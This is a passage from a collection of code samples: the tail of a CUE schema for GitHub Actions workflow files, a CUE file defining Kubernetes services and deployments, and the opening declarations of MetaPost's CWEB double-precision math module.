run on forked repositories by default. You must\n\t\t\t// enable GitHub Actions in the Actions tab of the forked\n\t\t\t// repository.\n\t\t\t// The permissions for the GITHUB_TOKEN in forked repositories is\n\t\t\t// read-only. For more information about the GITHUB_TOKEN, see\n\t\t\t// https://help.github.com/en/articles/virtual-environments-for-github-actions.\n\t\t\tpull_request_review?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"submitted\" | \"edited\" | \"dismissed\"] | *[\"submitted\", \"edited\", \"dismissed\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime a comment on a pull request's\n\t\t\t// unified diff is modified, which triggers the\n\t\t\t// pull_request_review_comment event. More than one activity type\n\t\t\t// triggers this event. For information about the REST API, see\n\t\t\t// https://developer.github.com/v3/pulls/comments.\n\t\t\t// Note: Workflows do not run on private base repositories when\n\t\t\t// you open a pull request from a forked repository.\n\t\t\t// When you create a pull request from a forked repository to the\n\t\t\t// base repository, GitHub sends the pull_request event to the\n\t\t\t// base repository and no pull request events occur on the forked\n\t\t\t// repository.\n\t\t\t// Workflows don't run on forked repositories by default. You must\n\t\t\t// enable GitHub Actions in the Actions tab of the forked\n\t\t\t// repository.\n\t\t\t// The permissions for the GITHUB_TOKEN in forked repositories is\n\t\t\t// read-only. For more information about the GITHUB_TOKEN, see\n\t\t\t// https://help.github.com/en/articles/virtual-environments-for-github-actions.\n\t\t\tpull_request_review_comment?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"edited\" | \"deleted\"] | *[\"created\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// This event is similar to pull_request, except that it runs in\n\t\t\t// the context of the base repository of the pull request, rather\n\t\t\t// than in the merge commit. This means that you can more safely\n\t\t\t// make your secrets available to the workflows triggered by the\n\t\t\t// pull request, because only workflows defined in the commit on\n\t\t\t// the base repository are run. For example, this event allows\n\t\t\t// you to create workflows that label and comment on pull\n\t\t\t// requests, based on the contents of the event payload.\n\t\t\tpull_request_target?: #ref & {\n\t\t\t\ttypes?: #types & [...\"assigned\" | \"unassigned\" | \"labeled\" | \"unlabeled\" | \"opened\" | \"edited\" | \"closed\" | \"reopened\" | \"synchronize\" | \"ready_for_review\" | \"locked\" | \"unlocked\" | \"review_requested\" | \"review_request_removed\"] | *[\"opened\", \"synchronize\", \"reopened\"]\n\n\t\t\t\t{[=~\"^(branche|tag|path)s(-ignore)?$\" & !~\"^(types)$\"]: _}\n\t\t\t}\n\n\t\t\t// Runs your workflow when someone pushes to a repository branch,\n\t\t\t// which triggers the push event.\n\t\t\t// Note: The webhook payload available to GitHub Actions does not\n\t\t\t// include the added, removed, and modified attributes in the\n\t\t\t// commit object. You can retrieve the full commit object using\n\t\t\t// the REST API. For more information, see\n\t\t\t// https://developer.github.com/v3/repos/commits/#get-a-single-commit.\n\t\t\tpush?: #ref & {\n\t\t\t\t{[=~\"^(branche|tag|path)s(-ignore)?$\" & !~\"^()$\"]: _}\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime a package is published or updated.\n\t\t\t// For more information, see\n\t\t\t// https://help.github.com/en/github/managing-packages-with-github-packages.\n\t\t\tregistry_package?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"published\" | \"updated\"] | *[\"published\", \"updated\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the release event occurs. More than\n\t\t\t// one activity type triggers this event. For information about\n\t\t\t// the REST API, see\n\t\t\t// https://developer.github.com/v3/repos/releases/ in the GitHub\n\t\t\t// Developer documentation.\n\t\t\trelease?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"published\" | \"unpublished\" | \"created\" | \"edited\" | \"deleted\" | \"prereleased\" | \"released\"] | *[\"published\", \"unpublished\", \"created\", \"edited\", \"deleted\", \"prereleased\", \"released\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the status of a Git commit changes,\n\t\t\t// which triggers the status event. For information about the\n\t\t\t// REST API, see https://developer.github.com/v3/repos/statuses/.\n\t\t\tstatus?: #eventObject\n\n\t\t\t// Runs your workflow anytime the watch event occurs. More than\n\t\t\t// one activity type triggers this event. For information about\n\t\t\t// the REST API, see\n\t\t\t// https://developer.github.com/v3/activity/starring/.\n\t\t\twatch?: #eventObject\n\n\t\t\t// You can now create workflows that are manually triggered with\n\t\t\t// the new workflow_dispatch event. You will then see a 'Run\n\t\t\t// workflow' button on the Actions tab, enabling you to easily\n\t\t\t// trigger a run.\n\t\t\tworkflow_dispatch?: null | bool | number | string | [...] | {\n\t\t\t\t// Input parameters allow you to specify data that the action\n\t\t\t\t// expects to use during runtime. GitHub stores input parameters\n\t\t\t\t// as environment variables. Input ids with uppercase letters are\n\t\t\t\t// converted to lowercase during runtime. We recommended using\n\t\t\t\t// lowercase input ids.\n\t\t\t\tinputs?: {\n\t\t\t\t\t{[=~\"^[_a-zA-Z][a-zA-Z0-9_-]*$\" & !~\"^()$\"]: {\n\t\t\t\t\t\t// A string description of the input parameter.\n\t\t\t\t\t\tdescription: string\n\n\t\t\t\t\t\t// A string shown to users using the deprecated input.\n\t\t\t\t\t\tdeprecationMessage?: string\n\n\t\t\t\t\t\t// A boolean to indicate whether the action requires the input\n\t\t\t\t\t\t// parameter. Set to true when the parameter is required.\n\t\t\t\t\t\trequired: bool\n\n\t\t\t\t\t\t// A string representing the default value. The default value is\n\t\t\t\t\t\t// used when an input parameter isn't specified in a workflow\n\t\t\t\t\t\t// file.\n\t\t\t\t\t\tdefault?: string\n\t\t\t\t\t}}\n\t\t\t\t}\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// This event occurs when a workflow run is requested or\n\t\t\t// completed, and allows you to execute a workflow based on the\n\t\t\t// finished result of another workflow. For example, if your\n\t\t\t// pull_request workflow generates build artifacts, you can\n\t\t\t// create a new workflow that uses workflow_run to analyze the\n\t\t\t// results and add a comment to the original pull request.\n\t\t\tworkflow_run?: #eventObject & {\n\t\t\t\ttypes?:     #types & [...\"requested\" | \"completed\"] | *[\"requested\", \"completed\"]\n\t\t\t\tworkflows?: [...string] & [_, ...]\n\n\t\t\t\t{[=~\"^branches(-ignore)?$\" & !~\"^(types|workflows)$\"]: _}\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// You can use the GitHub API to trigger a webhook event called\n\t\t\t// repository_dispatch when you want to trigger a workflow for\n\t\t\t// activity that happens outside of GitHub. For more information,\n\t\t\t// see\n\t\t\t// https://developer.github.com/v3/repos/#create-a-repository-dispatch-event.\n\t\t\t// To trigger the custom repository_dispatch webhook event, you\n\t\t\t// must send a POST request to a GitHub API endpoint and provide\n\t\t\t// an event_type name to describe the activity type. To trigger a\n\t\t\t// workflow run, you must also configure your workflow to use the\n\t\t\t// repository_dispatch event.\n\t\t\trepository_dispatch?: #eventObject\n\n\t\t\t// You can schedule a workflow to run at specific UTC times using\n\t\t\t// POSIX cron syntax\n\t\t\t// (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07).\n\t\t\t// Scheduled workflows run on the latest commit on the default or\n\t\t\t// base branch. The shortest interval you can run scheduled\n\t\t\t// workflows is once every 5 minutes.\n\t\t\t// Note: GitHub Actions does not support the non-standard syntax\n\t\t\t// @yearly, @monthly, @weekly, @daily, @hourly, and @reboot.\n\t\t\t// You can use crontab guru (https://crontab.guru/). to help\n\t\t\t// generate your cron syntax and confirm what time it will run.\n\t\t\t// To help you get started, there is also a list of crontab guru\n\t\t\t// examples (https://crontab.guru/examples.html).\n\t\t\tschedule?: [...null | bool | number | string | [...] | {\n\t\t\t\tcron?: =~\"^(((\\\\d+,)+\\\\d+|((\\\\d+|\\\\*)\\\\/\\\\d+|JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC)|(\\\\d+-\\\\d+)|\\\\d+|\\\\*|MON|TUE|WED|THU|FRI|SAT|SUN) ?){5,7}$\"\n\t\t\t}] & [_, ...]\n\t\t}\n\n\t\t// A map of environment variables that are available to all jobs\n\t\t// and steps in the workflow.\n\t\tenv?: #env\n\n\t\t// A map of default settings that will apply to all jobs in the\n\t\t// workflow.\n\t\tdefaults?: #defaults\n\n\t\t// A workflow run is made up of one or more jobs. Jobs run in\n\t\t// parallel by default. To run jobs sequentially, you can define\n\t\t// dependencies on other jobs using the jobs.<job_id>.needs\n\t\t// keyword.\n\t\t// Each job runs in a fresh instance of the virtual environment\n\t\t// specified by runs-on.\n\t\t// You can run an unlimited number of jobs as long as you are\n\t\t// within the workflow usage limits. For more information, see\n\t\t// https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#usage-limits.\n\t\tjobs: {\n\t\t\t{[=~\"^[_a-zA-Z][a-zA-Z0-9_-]*$\" & !~\"^()$\"]: {\n\t\t\t\t// The name of the job displayed on GitHub.\n\t\t\t\tname?: string\n\n\t\t\t\t// Identifies any jobs that must complete successfully before this\n\t\t\t\t// job will run. It can be a string or array of strings. If a job\n\t\t\t\t// fails, all jobs that need it are skipped unless the jobs use a\n\t\t\t\t// conditional statement that causes the job to continue.\n\t\t\t\tneeds?: [...#name] & [_, ...] | #name\n\n\t\t\t\t// The type of machine to run the job on. The machine can be\n\t\t\t\t// either a GitHub-hosted runner, or a self-hosted runner.\n\t\t\t\t\"runs-on\": \"macos-10.15\" | \"macos-11.0\" | \"macos-latest\" | \"self-hosted\" | \"ubuntu-16.04\" | \"ubuntu-18.04\" | \"ubuntu-20.04\" | \"ubuntu-latest\" | \"windows-2016\" | \"windows-2019\" | \"windows-latest\" | ([\"self-hosted\"] | [\"self-hosted\", #machine] | [\"self-hosted\", #architecture] | [\"self-hosted\", #machine, #architecture] | [\"self-hosted\", #architecture, #machine]) & [...] | #expressionSyntax\n\n\t\t\t\t// The environment that the job references.\n\t\t\t\tenvironment?: string | #environment\n\n\t\t\t\t// A map of outputs for a job. Job outputs are available to all\n\t\t\t\t// downstream jobs that depend on this job.\n\t\t\t\toutputs?: {\n\t\t\t\t\t[string]: string\n\t\t\t\t}\n\n\t\t\t\t// A map of environment variables that are available to all steps\n\t\t\t\t// in the job.\n\t\t\t\tenv?: #env\n\n\t\t\t\t// A map of default settings that will apply to all steps in the\n\t\t\t\t// job.\n\t\t\t\tdefaults?: #defaults\n\n\t\t\t\t// You can use the if conditional to prevent a job from running\n\t\t\t\t// unless a condition is met. You can use any supported context\n\t\t\t\t// and expression to create a conditional.\n\t\t\t\t// Expressions in an if conditional do not require the ${{ }}\n\t\t\t\t// syntax. For more information, see\n\t\t\t\t// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\n\t\t\t\tif?: string\n\n\t\t\t\t// A job contains a sequence of tasks called steps. Steps can run\n\t\t\t\t// commands, run setup tasks, or run an action in your\n\t\t\t\t// repository, a public repository, or an action published in a\n\t\t\t\t// Docker registry. Not all steps run actions, but all actions\n\t\t\t\t// run as a step. Each step runs in its own process in the\n\t\t\t\t// virtual environment and has access to the workspace and\n\t\t\t\t// filesystem. Because steps run in their own process, changes to\n\t\t\t\t// environment variables are not preserved between steps. GitHub\n\t\t\t\t// provides built-in steps to set up and complete a job.\n\t\t\t\tsteps?: [...{\n\t\t\t\t\t// A unique identifier for the step. You can use the id to\n\t\t\t\t\t// reference the step in contexts. For more information, see\n\t\t\t\t\t// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\n\t\t\t\t\tid?: string\n\n\t\t\t\t\t// You can use the if conditional to prevent a step from running\n\t\t\t\t\t// unless a condition is met. You can use any supported context\n\t\t\t\t\t// and expression to create a conditional.\n\t\t\t\t\t// Expressions in an if conditional do not require the ${{ }}\n\t\t\t\t\t// syntax. For more information, see\n\t\t\t\t\t// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\n\t\t\t\t\tif?: string\n\n\t\t\t\t\t// A name for your step to display on GitHub.\n\t\t\t\t\tname?: string\n\n\t\t\t\t\t// Selects an action to run as part of a step in your job. An\n\t\t\t\t\t// action is a reusable unit of code. You can use an action\n\t\t\t\t\t// defined in the same repository as the workflow, a public\n\t\t\t\t\t// repository, or in a published Docker container image\n\t\t\t\t\t// (https://hub.docker.com/).\n\t\t\t\t\t// We strongly recommend that you include the version of the\n\t\t\t\t\t// action you are using by specifying a Git ref, SHA, or Docker\n\t\t\t\t\t// tag number. If you don't specify a version, it could break\n\t\t\t\t\t// your workflows or cause unexpected behavior when the action\n\t\t\t\t\t// owner publishes an update.\n\t\t\t\t\t// - Using the commit SHA of a released action version is the\n\t\t\t\t\t// safest for stability and security.\n\t\t\t\t\t// - Using the specific major action version allows you to receive\n\t\t\t\t\t// critical fixes and security patches while still maintaining\n\t\t\t\t\t// compatibility. It also assures that your workflow should still\n\t\t\t\t\t// work.\n\t\t\t\t\t// - Using the master branch of an action may be convenient, but\n\t\t\t\t\t// if someone releases a new major version with a breaking\n\t\t\t\t\t// change, your workflow could break.\n\t\t\t\t\t// Some actions require inputs that you must set using the with\n\t\t\t\t\t// keyword. Review the action's README file to determine the\n\t\t\t\t\t// inputs required.\n\t\t\t\t\t// Actions are either JavaScript files or Docker containers. If\n\t\t\t\t\t// the action you're using is a Docker container you must run the\n\t\t\t\t\t// job in a Linux virtual environment. For more details, see\n\t\t\t\t\t// https://help.github.com/en/articles/virtual-environments-for-github-actions.\n\t\t\t\t\tuses?: string\n\n\t\t\t\t\t// Runs command-line programs using the operating system's shell.\n\t\t\t\t\t// If you do not provide a name, the step name will default to\n\t\t\t\t\t// the text specified in the run command.\n\t\t\t\t\t// Commands run using non-login shells by default. You can choose\n\t\t\t\t\t// a different shell and customize the shell used to run\n\t\t\t\t\t// commands. For more information, see\n\t\t\t\t\t// https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#using-a-specific-shell.\n\t\t\t\t\t// Each run keyword represents a new process and shell in the\n\t\t\t\t\t// virtual environment. When you provide multi-line commands,\n\t\t\t\t\t// each line runs in the same shell.\n\t\t\t\t\trun?: string, \"working-directory\"?: #[\"working-directory\"], shell?: #shell\n\n\t\t\t\t\t// A map of the input parameters defined by the action. Each input\n\t\t\t\t\t// parameter is a key/value pair. Input parameters are set as\n\t\t\t\t\t// environment variables. The variable is prefixed with INPUT_\n\t\t\t\t\t// and converted to upper case.\n\t\t\t\t\twith?: #env & {\n\t\t\t\t\t\targs?: string, entrypoint?: string, ...\n\t\t\t\t\t}\n\n\t\t\t\t\t// Sets environment variables for steps to use in the virtual\n\t\t\t\t\t// environment. You can also set environment variables for the\n\t\t\t\t\t// entire workflow or a job.\n\t\t\t\t\tenv?: #env\n\n\t\t\t\t\t// Prevents a job from failing when a step fails. Set to true to\n\t\t\t\t\t// allow a job to pass when this step fails.\n\t\t\t\t\t\"continue-on-error\"?: bool | #expressionSyntax | *false\n\n\t\t\t\t\t// The maximum number of minutes to run the step before killing\n\t\t\t\t\t// the process.\n\t\t\t\t\t\"timeout-minutes\"?: number\n\t\t\t\t}] & [_, ...]\n\n\t\t\t\t// The maximum number of minutes to let a workflow run before\n\t\t\t\t// GitHub automatically cancels it. Default: 360\n\t\t\t\t\"timeout-minutes\"?: number | *360\n\n\t\t\t\t// A strategy creates a build matrix for your jobs. You can define\n\t\t\t\t// different variations of an environment to run each job in.\n\t\t\t\tstrategy?: {\n\t\t\t\t\t// A build matrix is a set of different configurations of the\n\t\t\t\t\t// virtual environment. For example you might run a job against\n\t\t\t\t\t// more than one supported version of a language, operating\n\t\t\t\t\t// system, or tool. Each configuration is a copy of the job that\n\t\t\t\t\t// runs and reports a status.\n\t\t\t\t\t// You can specify a matrix by supplying an array for the\n\t\t\t\t\t// configuration options. For example, if the GitHub virtual\n\t\t\t\t\t// environment supports Node.js versions 6, 8, and 10 you could\n\t\t\t\t\t// specify an array of those versions in the matrix.\n\t\t\t\t\t// When you define a matrix of operating systems, you must set the\n\t\t\t\t\t// required runs-on keyword to the operating system of the\n\t\t\t\t\t// current job, rather than hard-coding the operating system\n\t\t\t\t\t// name. To access the operating system name, you can use the\n\t\t\t\t\t// matrix.os context parameter to set runs-on. For more\n\t\t\t\t\t// information, see\n\t\t\t\t\t// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\n\t\t\t\t\tmatrix: ({\n\t\t\t\t\t\t...\n\t\t\t\t\t} | #expressionSyntax) & {\n\t\t\t\t\t\t{[=~\"^(in|ex)clude$\" & !~\"^()$\"]: [...{\n\t\t\t\t\t\t\t\t\t\t\t[string]: #configuration\n\t\t\t\t\t\t}] & [_, ...]}\n\t\t\t\t\t\t{[!~\"^(in|ex)clude$\" & !~\"^()$\"]: [...#configuration] & [_, ...]}\n\t\t\t\t\t}\n\n\t\t\t\t\t// When set to true, GitHub cancels all in-progress jobs if any\n\t\t\t\t\t// matrix job fails. Default: true\n\t\t\t\t\t\"fail-fast\"?: bool | *true\n\n\t\t\t\t\t// The maximum number of jobs that can run simultaneously when\n\t\t\t\t\t// using a matrix job strategy. By default, GitHub will maximize\n\t\t\t\t\t// the number of jobs run in parallel depending on the available\n\t\t\t\t\t// runners on GitHub-hosted virtual machines.\n\t\t\t\t\t\"max-parallel\"?: number\n\t\t\t\t}\n\n\t\t\t\t// Prevents a workflow run from failing when a job fails. Set to\n\t\t\t\t// true to allow a workflow run to pass when this job fails.\n\t\t\t\t\"continue-on-error\"?: bool | #expressionSyntax\n\n\t\t\t\t// A container to run any steps in a job that don't already\n\t\t\t\t// specify a container. If you have steps that use both script\n\t\t\t\t// and container actions, the container actions will run as\n\t\t\t\t// sibling containers on the same network with the same volume\n\t\t\t\t// mounts.\n\t\t\t\t// If you do not set a container, all steps will run directly on\n\t\t\t\t// the host specified by runs-on unless a step refers to an\n\t\t\t\t// action configured to run in a container.\n\t\t\t\tcontainer?: string | #container\n\n\t\t\t\t// Additional containers to host services for a job in a workflow.\n\t\t\t\t// These are useful for creating databases or cache services like\n\t\t\t\t// redis. The runner on the virtual machine will automatically\n\t\t\t\t// create a network and manage the life cycle of the service\n\t\t\t\t// containers.\n\t\t\t\t// When you use a service container for a job or your step uses\n\t\t\t\t// container actions, you don't need to set port information to\n\t\t\t\t// access the service. Docker automatically exposes all ports\n\t\t\t\t// between containers on the same network.\n\t\t\t\t// When both the job and the action run in a container, you can\n\t\t\t\t// directly reference the container by its hostname. The hostname\n\t\t\t\t// is automatically mapped to the service name.\n\t\t\t\t// When a step does not use a container action, you must access\n\t\t\t\t// the service using localhost and bind the ports.\n\t\t\t\tservices?: {\n\t\t\t\t\t[string]: #container\n\t\t\t\t}\n\t\t\t}}\n\t\t}\n\t}\n\n\t#architecture: \"ARM32\" | \"x64\" | \"x86\"\n\n\t#branch: #globs\n\n\t#configuration: string | number | bool | {\n\t\t[string]: #configuration\n\t} | [...#configuration]\n\n\t#container: {\n\t\t// The Docker image to use as the container to run the action. The\n\t\t// value can be the Docker Hub image name or a registry name.\n\t\timage: string\n\n\t\t// If the image's container registry requires authentication to\n\t\t// pull the image, you can use credentials to set a map of the\n\t\t// username and password. The credentials are the same values\n\t\t// that you would provide to the `docker login` command.\n\t\tcredentials?: {\n\t\t\tusername?: string\n\t\t\tpassword?: string\n\t\t\t...\n\t\t}\n\n\t\t// Sets an array of environment variables in the container.\n\t\tenv?: #env\n\n\t\t// Sets an array of ports to expose on the container.\n\t\tports?: [...number | string] & [_, ...]\n\n\t\t// Sets an array of volumes for the container to use. You can use\n\t\t// volumes to share data between services or other steps in a\n\t\t// job. You can specify named Docker volumes, anonymous Docker\n\t\t// volumes, or bind mounts on the host.\n\t\t// To specify a volume, you specify the source and destination\n\t\t// path: <source>:<destinationPath>\n\t\t// The <source> is a volume name or an absolute path on the host\n\t\t// machine, and <destinationPath> is an absolute path in the\n\t\t// container.\n\t\tvolumes?: [...=~\"^[^:]+:[^:]+$\"] & [_, ...]\n\n\t\t// Additional Docker container resource options. For a list of\n\t\t// options, see\n\t\t// https://docs.docker.com/engine/reference/commandline/create/#options.\n\t\toptions?: string\n\t}\n\n\t#defaults: run?: {\n\t\tshell?:               #shell\n\t\t\"working-directory\"?: #[\"working-directory\"]\n\t}\n\n\t#env: [string]: bool | number | string\n\n\t#environment: {\n\t\t// The name of the environment configured in the repo.\n\t\tname: string\n\n\t\t// A deployment URL\n\t\turl?: string\n\t}\n\n\t#event: \"check_run\" | \"check_suite\" | \"create\" | \"delete\" | \"deployment\" | \"deployment_status\" | \"fork\" | \"gollum\" | \"issue_comment\" | \"issues\" | \"label\" | \"member\" | \"milestone\" | \"page_build\" | \"project\" | \"project_card\" | \"project_column\" | \"public\" | \"pull_request\" | \"pull_request_review\" | \"pull_request_review_comment\" | \"pull_request_target\" | \"push\" | \"registry_package\" | \"release\" | \"status\" | \"watch\" | \"workflow_dispatch\" | \"workflow_run\" | \"repository_dispatch\"\n\n\t#eventObject: null | {\n\t\t...\n\t}\n\n\t#expressionSyntax: =~\"^\\\\$\\\\{\\\\{.*\\\\}\\\\}$\"\n\n\t#globs: [...strings.MinRunes(1)] & [_, ...]\n\n\t#machine: \"linux\" | \"macos\" | \"windows\"\n\n\t#name: =~\"^[_a-zA-Z][a-zA-Z0-9_-]*$\"\n\n\t#path: #globs\n\n\t#ref: null | {\n\t\tbranches?:          #branch\n\t\t\"branches-ignore\"?: #branch\n\t\ttags?:              #branch\n\t\t\"tags-ignore\"?:     #branch\n\t\tpaths?:             #path\n\t\t\"paths-ignore\"?:    #path\n\t\t...\n\t}\n\n\t#shell: (string | (\"bash\" | \"pwsh\" | \"python\" | \"sh\" | \"cmd\" | \"powershell\")) & string\n\n\t#types: [_, ...]\n\n\t#: \"working-directory\": string\n}\n"
  },
  {
    "path": "samples/CUE/kube.cue",
    "content": "package kube\n\nservice: [ID=_]: {\n\tapiVersion: \"v1\"\n\tkind:       \"Service\"\n\tmetadata: {\n\t\tname: ID\n\t\tlabels: {\n\t\t\tapp:       ID         // by convention\n\t\t\tdomain:    \"prod\"     // always the same in the given files\n\t\t\tcomponent: #Component // varies per directory\n\t\t}\n\t}\n\tspec: {\n\t\t// Any port has the following properties.\n\t\tports: [...{\n\t\t\tport:     int\n\t\t\tprotocol: *\"TCP\" | \"UDP\" // from the Kubernetes definition\n\t\t\tname:     string | *\"client\"\n\t\t}]\n\t\tselector: metadata.labels // we want those to be the same\n\t}\n}\n\ndeployment: [ID=_]: {\n\tapiVersion: \"apps/v1\"\n\tkind:       \"Deployment\"\n\tmetadata: name: ID\n\tspec: {\n\t\t// 1 is the default, but we allow any number\n\t\treplicas: *1 | int\n\t\ttemplate: {\n\t\t\tmetadata: labels: {\n\t\t\t\tapp:       ID\n\t\t\t\tdomain:    \"prod\"\n\t\t\t\tcomponent: #Component\n\t\t\t}\n\t\t\t// we always have one namesake container\n\t\t\tspec: containers: [{name: ID}]\n\t\t}\n\t}\n}\n\n#Component: string\n\ndaemonSet: [ID=_]: _spec & {\n\tapiVersion: \"apps/v1\"\n\tkind:       \"DaemonSet\"\n\t_name:      ID\n}\n\nstatefulSet: [ID=_]: _spec & {\n\tapiVersion: \"apps/v1\"\n\tkind:       \"StatefulSet\"\n\t_name:      ID\n}\n\ndeployment: [ID=_]: _spec & {\n\tapiVersion: \"apps/v1\"\n\tkind:       \"Deployment\"\n\t_name:      ID\n\tspec: replicas: *1 | int\n}\n\nconfigMap: [ID=_]: {\n\tmetadata: name: ID\n\tmetadata: labels: component: #Component\n}\n\n_spec: {\n\t_name: string\n\n\tmetadata: name: _name\n\tmetadata: labels: component: #Component\n\tspec: selector: {}\n\tspec: template: {\n\t\tmetadata: labels: {\n\t\t\tapp:       _name\n\t\t\tcomponent: #Component\n\t\t\tdomain:    \"prod\"\n\t\t}\n\t\tspec: containers: [{name: _name}]\n\t}\n}\n\n// Define the _export option and set the default to true\n// for all ports defined in all containers.\n_spec: spec: template: spec: containers: [...{\n\tports: [...{\n\t\t_export: *true | false // include the port in the service\n\t}]\n}]\n\nfor x in [deployment, daemonSet, statefulSet] for k, v in x {\n\tservice: \"\\(k)\": {\n\t\tspec: selector: v.spec.template.metadata.labels\n\n\t\tspec: ports: [\n\t\t\tfor c in v.spec.template.spec.containers\n\t\t\tfor p in c.ports\n\t\t\tif p._export {\n\t\t\t\tlet Port = p.containerPort // Port is an alias\n\t\t\t\tport:       *Port | int\n\t\t\t\ttargetPort: *Port | int\n\t\t\t},\n\t\t]\n\t}\n}\n"
  },
  {
    "path": "samples/CWeb/mpmathdouble.w",
    "content": "% $Id: mpmathdouble.w 2070 2015-10-06 10:35:23Z luigi $\n%\n% This file is part of MetaPost;\n% the MetaPost program is in the public domain.\n% See the <Show version...> code in mpost.w for more info.\n\n% Here is TeX material that gets inserted after \\input webmac\n\n\\font\\tenlogo=logo10 % font used for the METAFONT logo\n\\font\\logos=logosl10\n\\def\\MF{{\\tenlogo META}\\-{\\tenlogo FONT}}\n\\def\\MP{{\\tenlogo META}\\-{\\tenlogo POST}}\n\n\\def\\title{Math support functions for IEEE double based math}\n\\pdfoutput=1\n\n@ Introduction.\n\n@c \n#include <w2c/config.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <math.h>\n#include \"mpmathdouble.h\" /* internal header */\n#define ROUND(a) floor((a)+0.5)\n@h\n\n@ @c\n@<Declarations@>;\n\n@ @(mpmathdouble.h@>=\n#ifndef MPMATHDOUBLE_H\n#define  MPMATHDOUBLE_H 1\n#include \"mplib.h\"\n#include \"mpmp.h\" /* internal header */\n@<Internal library declarations@>;\n#endif\n\n@* Math initialization.\n\nFirst, here are some very important constants.\n\n@d PI 3.1415926535897932384626433832795028841971 \n@d fraction_multiplier 4096.0\n@d angle_multiplier 16.0\n\n@ Here are the functions that are static as they are not used elsewhere\n\n@<Declarations@>=\nstatic void mp_double_scan_fractional_token (MP mp, int n);\nstatic void mp_double_scan_numeric_token (MP mp, int n);\nstatic void mp_ab_vs_cd (MP mp, mp_number *ret, mp_number a, mp_number b, mp_number c, mp_number d);\nstatic void mp_double_ab_vs_cd (MP mp, mp_number *ret, mp_number a, mp_number b, mp_number c, mp_number d);\nstatic void mp_double_crossing_point (MP mp, mp_number *ret, mp_number a, mp_number b, mp_number c);\nstatic void mp_number_modulo (mp_number *a, mp_number b);\nstatic void mp_double_print_number (MP mp, mp_number n);\nstatic char * mp_double_number_tostring (MP mp, mp_number n);\nstatic void mp_double_slow_add (MP mp, mp_number *ret, mp_number x_orig, mp_number y_orig);\nstatic void mp_double_square_rt (MP mp, mp_number *ret, mp_number x_orig);\nstatic void mp_double_sin_cos (MP mp, mp_number z_orig, mp_number *n_cos, mp_number *n_sin);\nstatic void mp_init_randoms (MP mp, int seed);\nstatic void mp_number_angle_to_scaled (mp_number *A);\nstatic void mp_number_fraction_to_scaled (mp_number *A);\nstatic void mp_number_scaled_to_fraction (mp_number *A);\nstatic void mp_number_scaled_to_angle (mp_number *A);\nstatic void mp_double_m_unif_rand (MP mp, mp_number *ret, mp_number x_orig);\nstatic void mp_double_m_norm_rand (MP mp, mp_number *ret);\nstatic void mp_double_m_exp (MP mp, mp_number *ret, mp_number x_orig);\nstatic void mp_double_m_log (MP mp, mp_number *ret, mp_number x_orig);\nstatic void mp_double_pyth_sub (MP mp, mp_number *r, mp_number a, mp_number b);\nstatic void mp_double_pyth_add (MP mp, mp_number *r, mp_number a, mp_number b);\nstatic void mp_double_n_arg (MP mp, mp_number *ret, mp_number x, mp_number y);\nstatic void mp_double_velocity (MP mp, mp_number *ret, mp_number st, mp_number ct, mp_number sf,  mp_number cf, mp_number t);\nstatic void mp_set_double_from_int(mp_number *A, int B);\nstatic void mp_set_double_from_boolean(mp_number *A, int B);\nstatic void mp_set_double_from_scaled(mp_number *A, int B);\nstatic void mp_set_double_from_addition(mp_number *A, mp_number B, mp_number C);\nstatic void mp_set_double_from_substraction (mp_number *A, mp_number B, mp_number C);\nstatic void mp_set_double_from_div(mp_number *A, mp_number B, mp_number C);\nstatic void mp_set_double_from_mul(mp_number *A, mp_number B, mp_number C);\nstatic void mp_set_double_from_int_div(mp_number *A, mp_number B, int C);\nstatic void mp_set_double_from_int_mul(mp_number *A, mp_number B, int C);\nstatic void mp_set_double_from_of_the_way(MP mp, mp_number *A, mp_number t, mp_number B, mp_number C);\nstatic void mp_number_negate(mp_number *A);\nstatic void mp_number_add(mp_number *A, mp_number B);\nstatic void mp_number_substract(mp_number *A, mp_number B);\nstatic void mp_number_half(mp_number *A);\nstatic void mp_number_halfp(mp_number *A);\nstatic void mp_number_double(mp_number *A);\nstatic void mp_number_add_scaled(mp_number *A, int B); /* also for negative B */\nstatic void mp_number_multiply_int(mp_number *A, int B);\nstatic void mp_number_divide_int(mp_number *A, int B);\nstatic void mp_double_abs(mp_number *A);   \nstatic void mp_number_clone(mp_number *A, mp_number B);\nstatic void mp_number_swap(mp_number *A, mp_number *B);\nstatic int mp_round_unscaled(mp_number x_orig);\nstatic int mp_number_to_int(mp_number A);\nstatic int mp_number_to_scaled(mp_number A);\nstatic int mp_number_to_boolean(mp_number A);\nstatic double mp_number_to_double(mp_number A);\nstatic int mp_number_odd(mp_number A);\nstatic int mp_number_equal(mp_number A, mp_number B);\nstatic int mp_number_greater(mp_number A, mp_number B);\nstatic int mp_number_less(mp_number A, mp_number B);\nstatic int mp_number_nonequalabs(mp_number A, mp_number B);\nstatic void mp_number_floor (mp_number *i);\nstatic void mp_double_fraction_to_round_scaled (mp_number *x);\nstatic void mp_double_number_make_scaled (MP mp, mp_number *r, mp_number p, mp_number q);\nstatic void mp_double_number_make_fraction (MP mp, mp_number *r, mp_number p, mp_number q);\nstatic void mp_double_number_take_fraction (MP mp, mp_number *r, mp_number p, mp_number q);\nstatic void mp_double_number_take_scaled (MP mp, mp_number *r, mp_number p, mp_number q);\nstatic void 